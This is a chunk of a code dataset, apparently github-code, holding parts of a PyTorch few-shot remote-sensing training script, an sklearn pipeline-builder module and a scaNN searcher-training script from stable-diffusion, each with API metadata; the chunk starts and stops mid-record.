[count_acc(logits, fsl_label) for logits in logits_dict] # for 4 single angles tasks\n # nq_acc_list = [count_acc(logits, fsl_label) for logits in nq_logits_dict]\n\n rot_acc = sum(acc_list)/len(acc_list)\n # nq_rot_acc = sum(nq_acc_list)/len(nq_acc_list)\n final_rot_acc = rot_acc \n\n # print(cl_scale)\n # print(cl_rot)\n # final acc: the average value of two pretext tasks\n final_acc = (final_rot_acc + final_scale_acc)/2\n final_acc_list = []\n final_acc_list.append(final_acc)\n total_loss = 0.5*(scale_fsl_loss + rot_fsl_loss) + args.alpha*(cl_rot_loss+cl_scale_loss)+args.beta*(rot_loss+scale_loss)+0.1*(rot_MI_loss+scale_MI_loss)\n # print(total_loss)\n\n print('epoch {}, train {}/{}, loss={:.4f} acc={:.4f}'.format(epoch, i, len(train_loader), total_loss.item(), final_acc_list[0]))\n\n tl.add(total_loss.item())\n ta.add(final_acc_list[0])\n\n optimizer.zero_grad()\n with torch.autograd.detect_anomaly():\n total_loss.backward()\n return logits_0, total_loss\n outputs, total_loss = optimizer.step(closure)\n\n tl = tl.item()\n ta = ta.item()\n \n with torch.no_grad():\n model.eval()\n scale_classifier.eval()\n rot_classifier.eval()\n vl = Averager()\n va = Averager()\n \n for i, batch in enumerate(val_loader, 1):\n scale_84, _ = [_.cuda() for _ in batch]\n p = args.shot * args.test_way\n \n scale_104 = TF.resize(scale_84, (args.scale3,args.scale3))\n scale_124 = TF.resize(scale_84, (args.scale2,args.scale2))\n scale_144 = TF.resize(scale_84, (args.scale1,args.scale1))\n \n rot_90 = TF.rotate(scale_84, 90)\n rot_180 = TF.rotate(scale_84, 180)\n rot_270 = TF.rotate(scale_84, 270)\n \n \n # data_shot, data_query = data[:p], data[p:]\n scale_84_fs = model(scale_84)\n scale_104_fs = model(scale_104)\n scale_124_fs = model(scale_124)\n scale_144_fs = model(scale_144)\n\n\n rot_0_fs = model(scale_84)\n rot_90_fs = model(rot_90)\n rot_180_fs = model(rot_180)\n rot_270_fs = model(rot_270)\n\n # scale self-supervision\n shot_84, query_84 = scale_84_fs[:p], scale_84_fs[p:]\n proto_84 = shot_84.reshape(args.shot, args.train_way, -1).mean(dim=0)\n # nq_84 = cutmix_proto(dim, query_84)\n logits_84 = euclidean_metric(query_84, proto_84)\n\n shot_104, query_104 = scale_104_fs[:p], scale_104_fs[p:]\n proto_104 = shot_104.reshape(args.shot, args.train_way, -1).mean(dim=0)\n logits_104 = euclidean_metric(query_104, proto_104)\n\n shot_124, query_124 = scale_124_fs[:p], scale_124_fs[p:]\n proto_124 = shot_124.reshape(args.shot, args.train_way, -1).mean(dim=0)\n logits_124 = euclidean_metric(query_124, proto_124)\n\n shot_144, query_144 = scale_144_fs[:p], scale_144_fs[p:]\n proto_144 = shot_144.reshape(args.shot, args.train_way, -1).mean(dim=0)\n logits_144 = euclidean_metric(query_144, proto_144)\n\n logits_dict = [logits_84, logits_104, logits_124, logits_144]\n scale_fs_dict = [scale_84_fs, scale_104_fs, scale_124_fs, scale_144_fs]\n # logits = torch.cat(logits, 0)\n scale_fs = torch.cat(scale_fs_dict, 0)\n\n ## 1nd: scale label\n scale_label = torch.arange(args.trans_num, dtype=torch.int8).view(-1, 1).repeat(1, args.query*args.train_way+args.shot*args.train_way).type(torch.LongTensor)\n scale_label = scale_label.view(-1).cuda()\n ## 2nd: fsl label\n fsl_label = torch.arange(args.train_way, dtype=torch.int8).repeat(args.query).type(torch.LongTensor).cuda()\n\n # scale loss\n \n scale_pred = scale_classifier(scale_fs)\n scale_loss = criterion(scale_pred, scale_label)\n\n # MI mutual information: KD loss\n raw_logits = sum(logits_dict) / len(logits_dict)\n raw_logits = F.log_softmax(raw_logits, -1)\n MI_losses = [F.kl_div(raw_logits, F.softmax(logits, -1), size_average=True) for logits in logits_dict]\n scale_MI_loss = sum(MI_losses) / len(MI_losses)\n\n # fsl loss for all the tasks copy\n scale_fsl_losses = [F.cross_entropy(logits, fsl_label) for logits in logits_dict]\n scale_fsl_loss = sum(scale_fsl_losses) / len(scale_fsl_losses)\n #fsl_loss = F.cross_entropy(raw_logits, fsl_label)\n \n acc_list = [count_acc(logits, fsl_label) for logits in logits_dict] # for 4 single angles tasks\n final_scale_acc = sum(acc_list)/len(acc_list)\n\n # rotation self-supervision\n shot_0, query_0 = rot_0_fs[:p], rot_0_fs[p:]\n proto_0 = shot_0.reshape(args.shot, args.train_way, -1).mean(dim=0)\n logits_0 = euclidean_metric(query_0, proto_0)\n\n shot_90, query_90 = rot_90_fs[:p], rot_90_fs[p:]\n proto_90 = shot_90.reshape(args.shot, args.train_way, -1).mean(dim=0)\n logits_90 = euclidean_metric(query_90, proto_90)\n\n shot_180, query_180 = rot_180_fs[:p], rot_180_fs[p:]\n proto_180 = shot_180.reshape(args.shot, args.train_way, -1).mean(dim=0)\n logits_180 = euclidean_metric(query_180, proto_180)\n\n shot_270, query_270 = rot_270_fs[:p], rot_270_fs[p:]\n proto_270 = shot_270.reshape(args.shot, args.train_way, -1).mean(dim=0)\n logits_270 = euclidean_metric(query_270, proto_270)\n\n logits_dict = [logits_0, logits_90, logits_180, logits_270]\n rot_fs_dict = [rot_0_fs, rot_90_fs, rot_180_fs, rot_270_fs]\n # logits = torch.cat(logits, 0)\n rot_fs = torch.cat(rot_fs_dict, 0)\n\n ## 1nd: rotation label\n rot_label = torch.arange(args.trans_num, dtype=torch.int8).view(-1, 1).repeat(1, args.query*args.train_way+args.shot*args.train_way).type(torch.LongTensor)\n rot_label = rot_label.view(-1).cuda()\n ## 2nd: fsl label\n fsl_label = torch.arange(args.train_way, dtype=torch.int8).repeat(args.query).type(torch.LongTensor).cuda()\n\n # rotation loss\n \n # rot_pred = rot_classifier(rot_fs)\n # rot_loss = criterion(rot_pred, rot_label)\n\n # MI mutual information: KD loss\n # raw_logits = sum(logits_dict) / len(logits_dict)\n # raw_logits = F.log_softmax(raw_logits, -1)\n # MI_losses = [F.kl_div(raw_logits, F.softmax(logits, -1), size_average=True) for logits in logits_dict]\n # rot_MI_loss = sum(MI_losses) / len(MI_losses)\n\n # fsl loss for all the tasks copy\n # fsl_losses = [F.cross_entropy(logits, fsl_label) for logits in logits_dict]\n # rot_fsl_loss = sum(fsl_losses) / len(fsl_losses)\n #fsl_loss = F.cross_entropy(raw_logits, fsl_label)\n \n acc_list = [count_acc(logits, fsl_label) for logits in logits_dict] # for 4 single angles tasks\n final_rot_acc = sum(acc_list)/len(acc_list)\n\n # final acc: the average value of two pretext tasks\n final_acc = (final_rot_acc + final_scale_acc)/2\n final_acc_list = []\n final_acc_list.append(final_acc)\n # total_loss = 0.5*(scale_fsl_loss + rot_fsl_loss) +args.alpha*(scale_loss+scale_MI_loss+rot_loss+rot_MI_loss)\n vl.add(total_loss.item())\n va.add(final_acc_list[0])\n \n \n\n vl = vl.item()\n va = va.item()\n # scheduler.step()\n if va > best_acc:\n best_acc = va\n # state = {'model':model.state_dict(),'dam':dam.state_dict()}\n state = {'model':model.state_dict(),'scale_classifier':scale_classifier.state_dict(),'rot_classifier':rot_classifier.state_dict()}\n torch.save(state, '/home/Eric/research/MPCL/checkpoint/'+args.dataset+'/'+str(args.test_way)+'_way'+str(args.shot)+'_shot'+'_model'+args.experiment_time+'.pth')\n print('epoch {}, val, loss={:.4f} acc={:.4f} best_acc={:.4f}'.format(epoch, vl, va, best_acc))\n\n \n \n print('ETA:{}/{}'.format(timer.measure(),timer.measure(epoch/args.epochs)))\n train_acc_history.append(ta)\n train_loss_history.append(tl)\n val_acc_history.append(va)\n log(log_dir,txt_name[0],train_acc_history)\n log(log_dir,txt_name[1],train_loss_history)\n log(log_dir,txt_name[2],val_acc_history)\n", "repo_name": "TangXu-Group/Remote-Sensing-Images-Classification", "sub_path": "MPCL/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 29502, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 17, "dataset": "github-code", "pt": "16", "api": [{"api_name": "torch.multiprocessing.set_sharing_strategy", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.multiprocessing", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.cuda.manual_seed", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.cosine_similarity", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 81, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 83, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 88, "usage_type": "call"}, {"api_name": "UCM.UCMercedLand", "line_number": 147, "usage_type": "call"}, {"api_name": "sampler.CategoriesSampler", "line_number": 148, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 150, "usage_type": "call"}, {"api_name": "UCM.UCMercedLand", "line_number": 153, "usage_type": "call"}, {"api_name": "sampler.CategoriesSampler", "line_number": 154, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 156, "usage_type": "call"}, {"api_name": "convnet.Convnet", "line_number": 161, "usage_type": "call"}, {"api_name": "torch.nn.DataParallel", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 162, "usage_type": "attribute"}, {"api_name": "convnet.S_Classifier", "line_number": 166, "usage_type": "call"}, {"api_name": "convnet.R_Classifier", "line_number": 167, "usage_type": "call"}, {"api_name": "Dynamic_Parameter.DAM", "line_number": 168, "usage_type": "call"}, {"api_name": "Dynamic_Parameter.DAM", "line_number": 169, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 174, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 174, "usage_type": "name"}, {"api_name": "torch.nn.KLDivLoss", "line_number": 175, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 175, "usage_type": "name"}, {"api_name": "torch.nn.MSELoss", "line_number": 176, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 176, "usage_type": "name"}, {"api_name": "info_nce.InfoNCE", "line_number": 177, "usage_type": "call"}, {"api_name": "cl_data_generator.Dy_Data_Generator", "line_number": 179, "usage_type": "call"}, {"api_name": "AMP_Regularizer.amp.AMP", "line_number": 189, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 213, "usage_type": "call"}, {"api_name": "os.path", "line_number": 213, "usage_type": "attribute"}, {"api_name": "utils.Timer", "line_number": 219, "usage_type": "call"}, {"api_name": "utils.Averager", "line_number": 222, "usage_type": "call"}, {"api_name": "utils.Averager", "line_number": 223, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional.resize", "line_number": 236, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional", "line_number": 236, "usage_type": "name"}, {"api_name": "torchvision.transforms.functional.resize", "line_number": 237, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional", "line_number": 237, "usage_type": "name"}, {"api_name": "torchvision.transforms.functional.resize", "line_number": 238, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional", "line_number": 238, "usage_type": "name"}, {"api_name": "torchvision.transforms.functional.rotate", "line_number": 240, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional", "line_number": 240, "usage_type": "name"}, {"api_name": "torchvision.transforms.functional.rotate", "line_number": 241, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional", "line_number": 241, "usage_type": "name"}, {"api_name": "torchvision.transforms.functional.rotate", "line_number": 242, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional", "line_number": 242, "usage_type": "name"}, {"api_name": "utils.euclidean_metric", "line_number": 269, "usage_type": "call"}, {"api_name": "utils.euclidean_metric", "line_number": 281, "usage_type": "call"}, {"api_name": "utils.euclidean_metric", "line_number": 293, "usage_type": "call"}, {"api_name": "utils.euclidean_metric", "line_number": 305, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 314, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 317, "usage_type": "call"}, {"api_name": "torch.int8", "line_number": 317, "usage_type": "attribute"}, {"api_name": "torch.LongTensor", "line_number": 317, "usage_type": "attribute"}, {"api_name": "torch.arange", "line_number": 320, "usage_type": "call"}, {"api_name": "torch.int8", "line_number": 320, "usage_type": "attribute"}, {"api_name": "torch.LongTensor", "line_number": 320, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 331, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 331, "usage_type": "name"}, {"api_name": "torch.nn.functional.kl_div", "line_number": 332, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 332, "usage_type": "name"}, {"api_name": "torch.nn.functional.softmax", "line_number": 332, "usage_type": "call"}, {"api_name": "torch.nn.functional.cross_entropy", "line_number": 341, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 341, "usage_type": "name"}, {"api_name": "torch.arange", "line_number": 344, "usage_type": "call"}, {"api_name": "torch.int8", "line_number": 344, "usage_type": "attribute"}, {"api_name": "torch.LongTensor", "line_number": 344, "usage_type": "attribute"}, {"api_name": "utils.count_acc", "line_number": 351, "usage_type": "call"}, {"api_name": "utils.euclidean_metric", "line_number": 365, "usage_type": "call"}, {"api_name": "utils.euclidean_metric", "line_number": 377, "usage_type": "call"}, {"api_name": "utils.euclidean_metric", "line_number": 388, "usage_type": "call"}, {"api_name": "utils.euclidean_metric", "line_number": 399, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 408, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 411, "usage_type": "call"}, {"api_name": "torch.int8", "line_number": 411, "usage_type": "attribute"}, {"api_name": "torch.LongTensor", "line_number": 411, "usage_type": "attribute"}, {"api_name": "torch.arange", "line_number": 414, "usage_type": "call"}, {"api_name": "torch.int8", "line_number": 414, "usage_type": "attribute"}, {"api_name": "torch.LongTensor", "line_number": 414, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 423, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 423, "usage_type": "name"}, {"api_name": "torch.nn.functional.kl_div", "line_number": 424, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 424, "usage_type": "name"}, {"api_name": "torch.nn.functional.softmax", "line_number": 424, "usage_type": "call"}, {"api_name": "torch.nn.functional.cross_entropy", "line_number": 433, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 433, "usage_type": "name"}, {"api_name": "utils.count_acc", "line_number": 441, "usage_type": "call"}, {"api_name": "torch.autograd.detect_anomaly", "line_number": 463, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 463, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 471, "usage_type": "call"}, {"api_name": "utils.Averager", "line_number": 475, "usage_type": "call"}, {"api_name": "utils.Averager", "line_number": 476, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional.resize", "line_number": 482, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional", "line_number": 482, "usage_type": "name"}, {"api_name": "torchvision.transforms.functional.resize", "line_number": 483, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional", "line_number": 483, "usage_type": "name"}, {"api_name": "torchvision.transforms.functional.resize", "line_number": 484, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional", "line_number": 484, "usage_type": "name"}, {"api_name": "torchvision.transforms.functional.rotate", "line_number": 486, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional", "line_number": 486, "usage_type": "name"}, {"api_name": "torchvision.transforms.functional.rotate", "line_number": 487, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional", "line_number": 487, "usage_type": "name"}, {"api_name": "torchvision.transforms.functional.rotate", "line_number": 488, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional", "line_number": 488, "usage_type": "name"}, {"api_name": "utils.euclidean_metric", "line_number": 507, "usage_type": "call"}, {"api_name": "utils.euclidean_metric", "line_number": 511, "usage_type": "call"}, {"api_name": "utils.euclidean_metric", "line_number": 515, "usage_type": "call"}, {"api_name": "utils.euclidean_metric", "line_number": 519, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 524, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 527, "usage_type": "call"}, {"api_name": "torch.int8", "line_number": 527, "usage_type": "attribute"}, {"api_name": "torch.LongTensor", "line_number": 527, "usage_type": "attribute"}, {"api_name": "torch.arange", "line_number": 530, "usage_type": "call"}, {"api_name": "torch.int8", "line_number": 530, "usage_type": "attribute"}, {"api_name": "torch.LongTensor", "line_number": 530, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 539, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 539, "usage_type": "name"}, {"api_name": "torch.nn.functional.kl_div", "line_number": 540, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 540, "usage_type": "name"}, {"api_name": "torch.nn.functional.softmax", "line_number": 540, "usage_type": "call"}, {"api_name": "torch.nn.functional.cross_entropy", "line_number": 544, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 544, "usage_type": "name"}, {"api_name": "utils.count_acc", "line_number": 548, "usage_type": "call"}, {"api_name": "utils.euclidean_metric", "line_number": 554, "usage_type": "call"}, {"api_name": "utils.euclidean_metric", "line_number": 558, "usage_type": "call"}, {"api_name": "utils.euclidean_metric", "line_number": 562, "usage_type": "call"}, {"api_name": "utils.euclidean_metric", "line_number": 566, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 571, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 574, "usage_type": "call"}, {"api_name": "torch.int8", "line_number": 574, "usage_type": "attribute"}, {"api_name": "torch.LongTensor", "line_number": 574, "usage_type": "attribute"}, {"api_name": "torch.arange", "line_number": 577, "usage_type": "call"}, {"api_name": "torch.int8", "line_number": 577, "usage_type": "attribute"}, {"api_name": "torch.LongTensor", "line_number": 577, "usage_type": "attribute"}, {"api_name": "utils.count_acc", "line_number": 595, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 615, "usage_type": "call"}]} +{"seq_id": "17365572074", "text": "# -*- coding: utf-8 -*-\n\nimport logging\nimport pandas as pd\nimport numpy as np\nfrom ast import literal_eval\nfrom sklearn.pipeline import Pipeline, FeatureUnion\nfrom sklearn.decomposition import PCA\nfrom sklearn.ensemble import RandomForestClassifier, RandomForestRegressor\nfrom sklearn.preprocessing import FunctionTransformer, Imputer, QuantileTransformer\n\nfrom fresh.transformers import Selector\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass PipeBuilder(Pipeline):\n \"\"\"\n Analyze dataset and return a sensible sklearn Pipeline\n\n Structure of pipeline:\n FeatureUnion -> join together modified/transformed features of dataset\n PCA -> Tune-able parameter of pipeline in grid search\n Model -> Classification or Regression based model.\n\n Extra attributes:\n ._problem_type = \"regression\" or \"classification\" # determine which models are suitable in grid search\n ._n_features = int # Number of features in raw dataset.\n\n Usage:\n >>> pipeline = PipeBuilder.from_data(X, y) # Where X & y are of type pandas.core.DataFrame\n \"\"\"\n\n @classmethod\n def from_data(cls, X, y):\n \"\"\"\n Return a scikit-learn pipeline from raw dataset.\n \"\"\"\n # Determine regression or classification model\n cls._problem_type = cls._determine_classification_or_regression(y)\n cls._n_features = X.shape[1]\n\n model = RandomForestClassifier(min_samples_split=25) \\\n if cls._problem_type == 'classification' \\\n else RandomForestRegressor(min_samples_split=25)\n\n # Base pipeline which should be ran through a parallelized gridsearch to swap out models, and do other\n # modifications to find the best pipeline.\n steps = [\n ('features', cls._build_feature_union_step(X)),\n ('pca', PCA(n_components=X.shape[1])),\n ('qt', QuantileTransformer(output_distribution='normal')),\n ('model', model)\n ]\n return cls(steps=steps)\n\n @staticmethod\n def _determine_classification_or_regression(target: np.ndarray) -> str:\n \"\"\"\n Determine if the target is a classification or regression problem\n \"\"\"\n if np.unique(target).shape[0] / target.shape[0] < 0.25 or isinstance(target[0], str):\n return 'classification'\n else:\n return 'regression'\n\n @classmethod\n def _build_feature_union_step(cls, X: pd.DataFrame) -> FeatureUnion:\n \"\"\"\n Given a dataframe of features, return a FeatureUnion which transforms each feature accordingly and joins them\n \"\"\"\n transformer_list = [\n ('feature_{}'.format(feature), cls._make_feature_pipeline_transformer(X[feature], feature))\n for feature in X.columns\n ]\n return FeatureUnion(transformer_list=transformer_list,\n n_jobs=1)\n\n @classmethod\n def _make_feature_pipeline_transformer(cls, series: pd.Series, feature: str) -> Pipeline:\n \"\"\"\n Given a series, determine the most appropriate transformer and hand that back\n\n ie. if blobs of text are found, return a pipeline of HashVectorizers into TFIDF transformers.\n or if biases numerical distribution is found, return Log1p transformer\n \"\"\"\n pipe = Pipeline(steps=[\n ('{}_selector'.format(feature), Selector(feature)),\n ('{}_dtype_conversion', cls._get_type_transformer(series)),\n ('{}_nan_imputer', Imputer(strategy='median'))\n ])\n return pipe\n\n\n @staticmethod\n def _get_type_transformer(series: pd.Series) -> FunctionTransformer:\n \"\"\"\n Determine the predominant type of a series and return a sklearn transformer to convert new series to\n that datatype. ie. if series contains [1, 2, 'NA', 3, 4] it will replace 'NA' with np.NaN\n \"\"\"\n def attempt_conversion(array):\n \"\"\"\n Function to be passed to the FunctionTransformer, convert array values to the most common\n dtype in array.. if it can't be converted, replace with NaN\n \"\"\"\n array = array.squeeze() if hasattr(array, 'squeeze') else array.values.squeeze()\n\n for i, val in enumerate(array):\n try:\n array[i] = cast_func(val)\n except (ValueError, TypeError):\n array[i] = np.NaN\n return array.reshape(-1, 1)\n\n def determine_type(val):\n \"\"\"\n Given a value, determine the type.. should a str(3) be given, will determine to be int dtype\n \"\"\"\n try:\n return type(literal_eval(val))\n except ValueError:\n return type(val)\n\n # Find the most common type in the series.\n cast_func = series.map(determine_type).value_counts().index[0]\n\n return FunctionTransformer(func=attempt_conversion, validate=False)\n\n", "repo_name": "milesgranger/fresh", "sub_path": "fresh/pipeline/builder.py", "file_name": "builder.py", "file_ext": "py", "file_size_in_byte": 4939, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.getLogger", "line_number": 15, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 18, "usage_type": "name"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 44, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 46, "usage_type": "call"}, {"api_name": "sklearn.decomposition.PCA", "line_number": 52, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.QuantileTransformer", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 59, "usage_type": "attribute"}, {"api_name": "numpy.unique", "line_number": 63, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 69, "usage_type": "attribute"}, {"api_name": "sklearn.pipeline.FeatureUnion", "line_number": 77, "usage_type": "call"}, {"api_name": "sklearn.pipeline.FeatureUnion", "line_number": 69, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 81, "usage_type": "attribute"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 88, "usage_type": "call"}, {"api_name": "fresh.transformers.Selector", "line_number": 89, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.Imputer", "line_number": 91, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 81, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 97, "usage_type": "attribute"}, {"api_name": "numpy.NaN", "line_number": 113, "usage_type": "attribute"}, {"api_name": "ast.literal_eval", "line_number": 121, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.FunctionTransformer", "line_number": 128, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.FunctionTransformer", "line_number": 97, "usage_type": "name"}]} +{"seq_id": "5199143332", "text": "import os, sys\nimport numpy as np\nimport scann\nimport argparse\nimport glob\nfrom multiprocessing import cpu_count\nfrom tqdm import tqdm\n\nfrom ldm.util import parallel_data_prefetch\n\n\ndef search_bruteforce(searcher):\n return searcher.score_brute_force().build()\n\n\ndef search_partioned_ah(searcher, dims_per_block, aiq_threshold, reorder_k,\n partioning_trainsize, num_leaves, num_leaves_to_search):\n return searcher.tree(num_leaves=num_leaves,\n num_leaves_to_search=num_leaves_to_search,\n training_sample_size=partioning_trainsize). \\\n score_ah(dims_per_block, anisotropic_quantization_threshold=aiq_threshold).reorder(reorder_k).build()\n\n\ndef search_ah(searcher, dims_per_block, aiq_threshold, reorder_k):\n return searcher.score_ah(dims_per_block, anisotropic_quantization_threshold=aiq_threshold).reorder(\n reorder_k).build()\n\ndef load_datapool(dpath):\n\n\n def load_single_file(saved_embeddings):\n compressed = np.load(saved_embeddings)\n database = {key: compressed[key] for key in compressed.files}\n return database\n\n def load_multi_files(data_archive):\n database = {key: [] for key in data_archive[0].files}\n for d in tqdm(data_archive, desc=f'Loading datapool from {len(data_archive)} individual files.'):\n for key in d.files:\n database[key].append(d[key])\n\n return database\n\n print(f'Load saved patch embedding from \"{dpath}\"')\n file_content = glob.glob(os.path.join(dpath, '*.npz'))\n\n if len(file_content) == 1:\n data_pool = load_single_file(file_content[0])\n elif len(file_content) > 1:\n data = [np.load(f) for f in file_content]\n prefetched_data = parallel_data_prefetch(load_multi_files, data,\n n_proc=min(len(data), cpu_count()), target_data_type='dict')\n\n data_pool = {key: np.concatenate([od[key] for od in prefetched_data], axis=1)[0] for key in prefetched_data[0].keys()}\n else:\n raise ValueError(f'No npz-files in specified path \"{dpath}\" is this directory existing?')\n\n print(f'Finished loading of retrieval database of length {data_pool[\"embedding\"].shape[0]}.')\n return data_pool\n\n\ndef train_searcher(opt,\n metric='dot_product',\n partioning_trainsize=None,\n reorder_k=None,\n # todo tune\n aiq_thld=0.2,\n dims_per_block=2,\n num_leaves=None,\n num_leaves_to_search=None,):\n\n data_pool = load_datapool(opt.database)\n k = opt.knn\n\n if not reorder_k:\n reorder_k = 2 * k\n\n # normalize\n # embeddings =\n searcher = scann.scann_ops_pybind.builder(data_pool['embedding'] / np.linalg.norm(data_pool['embedding'], axis=1)[:, np.newaxis], k, metric)\n pool_size = data_pool['embedding'].shape[0]\n\n print(*(['#'] * 100))\n print('Initializing scaNN searcher with the following values:')\n print(f'k: {k}')\n print(f'metric: {metric}')\n print(f'reorder_k: {reorder_k}')\n print(f'anisotropic_quantization_threshold: {aiq_thld}')\n print(f'dims_per_block: {dims_per_block}')\n print(*(['#'] * 100))\n print('Start training searcher....')\n print(f'N samples in pool is {pool_size}')\n\n # this reflects the recommended design choices proposed at\n # https://github.com/google-research/google-research/blob/aca5f2e44e301af172590bb8e65711f0c9ee0cfd/scann/docs/algorithms.md\n if pool_size < 2e4:\n print('Using brute force search.')\n searcher = search_bruteforce(searcher)\n elif 2e4 <= pool_size and pool_size < 1e5:\n print('Using asymmetric hashing search and reordering.')\n searcher = search_ah(searcher, dims_per_block, aiq_thld, reorder_k)\n else:\n print('Using using partioning, asymmetric hashing search and reordering.')\n\n if not partioning_trainsize:\n partioning_trainsize = data_pool['embedding'].shape[0] // 10\n if not num_leaves:\n num_leaves = int(np.sqrt(pool_size))\n\n if not num_leaves_to_search:\n num_leaves_to_search = max(num_leaves // 20, 1)\n\n print('Partitioning params:')\n print(f'num_leaves: {num_leaves}')\n print(f'num_leaves_to_search: {num_leaves_to_search}')\n # self.searcher = self.search_ah(searcher, dims_per_block, aiq_thld, reorder_k)\n searcher = search_partioned_ah(searcher, dims_per_block, aiq_thld, reorder_k,\n partioning_trainsize, num_leaves, num_leaves_to_search)\n\n print('Finish training searcher')\n searcher_savedir = opt.target_path\n os.makedirs(searcher_savedir, exist_ok=True)\n searcher.serialize(searcher_savedir)\n print(f'Saved trained searcher under \"{searcher_savedir}\"')\n\nif __name__ == '__main__':\n sys.path.append(os.getcwd())\n parser = argparse.ArgumentParser()\n parser.add_argument('--database',\n '-d',\n default='data/rdm/retrieval_databases/openimages',\n type=str,\n help='path to folder containing the clip feature of the database')\n parser.add_argument('--target_path',\n '-t',\n default='data/rdm/searchers/openimages',\n type=str,\n help='path to the target folder where the searcher shall be stored.')\n parser.add_argument('--knn',\n '-k',\n default=20,\n type=int,\n help='number of nearest neighbors, for which the searcher shall be optimized')\n\n opt, _ = parser.parse_known_args()\n\n train_searcher(opt,)", "repo_name": "CompVis/stable-diffusion", "sub_path": "scripts/train_searcher.py", "file_name": "train_searcher.py", "file_ext": "py", "file_size_in_byte": 5807, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 61571, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.load", "line_number": 32, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 38, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 50, "usage_type": "call"}, {"api_name": "ldm.util.parallel_data_prefetch", "line_number": 51, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 54, "usage_type": "call"}, {"api_name": "scann.scann_ops_pybind.builder", "line_number": 80, "usage_type": "call"}, {"api_name": "scann.scann_ops_pybind", "line_number": 80, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 80, "usage_type": "attribute"}, {"api_name": "numpy.newaxis", "line_number": 80, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 108, 